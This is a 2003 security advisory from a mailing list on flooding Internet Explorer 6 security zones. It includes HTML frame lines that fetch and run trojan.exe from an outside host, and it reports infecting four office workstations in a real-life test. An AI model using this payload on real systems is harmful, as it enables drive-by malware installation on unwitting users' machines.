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Flooding Internet Explorer 6.0.2800 (6.x?) security zones ! - UPDATED
From: "Marek Bialoglowy" <mb () systemintegra com>
Date: Tue, 13 May 2003 14:02:52 +0700

# UPDATED ADVISORY

Systems Affected : Internet Explorer 6.0.2800 (6.x?)
Remotely exploitable: Yes
Author: Marek Bialoglowy (System Integra - mb () systemintegra com)
Attached files: dmz5-win2k.zip

NOTE: Attached file dmz5-win2k.html can crash you IE, be careful with that !

# INTRODUCTION

Some people had concern if this vulnerability is really critical. In this
post I will try to proof it and also try to answer some questions.

I will remaind that the threat from IE 6 vulnerability is that you can FORCE
Internet Explorer TO DOWNLOAD AND EXECUTE ANY .exe FILE. My post was not
about flooding system with multiple IE file requests, this is just a
technique of exploitation. The main point of my post was possibility of
bypassing the IE security zones with multiple download requests.

How did you avoid one machine from seeing the file:// request
as a request for a resource from the "Local intranet Zone"?

It can be any kind of request, not only the "file://" request but also
"ftp://"; and "http://";. I've just posted example of simple technique
exploiting this vulnerability and didn't want to show precise method of
using this on the Internet. Actually there is a technique of exploiting it
from the Internet. This thing could be easyly used by some worm so I didn't
want to give worm writes clue how to do it.

Also, one must assume the two machines are either using the
same userID/password or have a trusted connection already
(otherwise, the file:// request wouldn't be able to see the
attack program.) Workstations on a LAN would not normally
be in this situation unless you are pointing to a file on
a file server they all have access to. In this case, how
did you get the file onto that server?

Correct. It is not that harmfull if you think about using this vulnerability
only trough "file://" requests. It would require to have some write access
to "public" share on the file server os something simmilar. It doesn't
sounds like serious threat indeed, but it still could be dangerous if you
control some workstation in big corporate network and would like to infect
other workstations fast.

Again, I don't mean to minimize the problems should it be true that
the Trust Zone boundary can be broken, but the threat likelihood
is just incredibly miniscule.

# ADVANCED EXPLOITATION

Ok, I'll describe the technique of exploiting this vulnerability on Win2K
via Internet ... no need to access to local network or anything. I've
attached example HTML file in this e-mail, check dmz5-win2k.html.

The key of Internet exploitation technique is to flood the zones table (well
lets call it like that) with other requests before executing the real
requests to the trojan.exe. The fastes possible request is certainly the one
to the filesystem. So at beggining we execute around 191 of such system file
requests:

<FRAME SRC="C:\winnt\welcome.exe"></FRAME>
<FRAME SRC="C:\winnt\notepad.exe"></FRAME>
<FRAME SRC="C:\winnt\regedit.exe"></FRAME>
... together around 191 ... and after comes our trojan ...
<FRAME SRC="http://www.systemintegra.com/trojan.exe";></FRAME>
<FRAME SRC="http://www.systemintegra.com/trojan.exe";></FRAME>
<FRAME SRC="http://www.systemintegra.com/trojan.exe";></FRAME>
<FRAME SRC="http://www.systemintegra.com/trojan.exe";></FRAME>
<FRAME SRC="http://www.systemintegra.com/trojan.exe";></FRAME>

... when someone will open such website it is very possible that trojan.exe
will get downloaded and executed. I will also notice that this is just
example technique and it is possible to master this to the 95% success rate.
There are no patches for this vulnerability yet so I'm not going to provide
the final version of this specially designed HTML page. I'll just say that
number of 191 requests is not valid for all workstations, well I even think
that success rate will be around 30%. There is a better technique of
flooding security zones, which I won't describe here.

Oh I will just mention that this probably won't work on WinXP, but there is
another technique for WinXP which works pretty fine.

# CONCLUSION

Anyways on Friday I've tested that in real-life on my friends office. He
said that no1 killed the Internet Explorer or restarted the workstation and
all his employees were just glaring on the screen and watching how windows
are popping-up. There was even something more surprising, they started
sending this URL to each other and to all friends as a "JOKE" ! I got
connections from my trojan.exe from 4 different workstations - it's small
office.

Best Regards,

 Marek Bialoglowy (mb () systemintegra com) Information Security Expert
 PGPkey: http://www.systemintegra.com/pgp/ultor.asc | ID: 0x4B36656E
 JOB: (CTO) System Integra | JKT, Indonesia | Timezone: JAVT, GMT +7

Attachment: dmz5-win2k.zip
Description:


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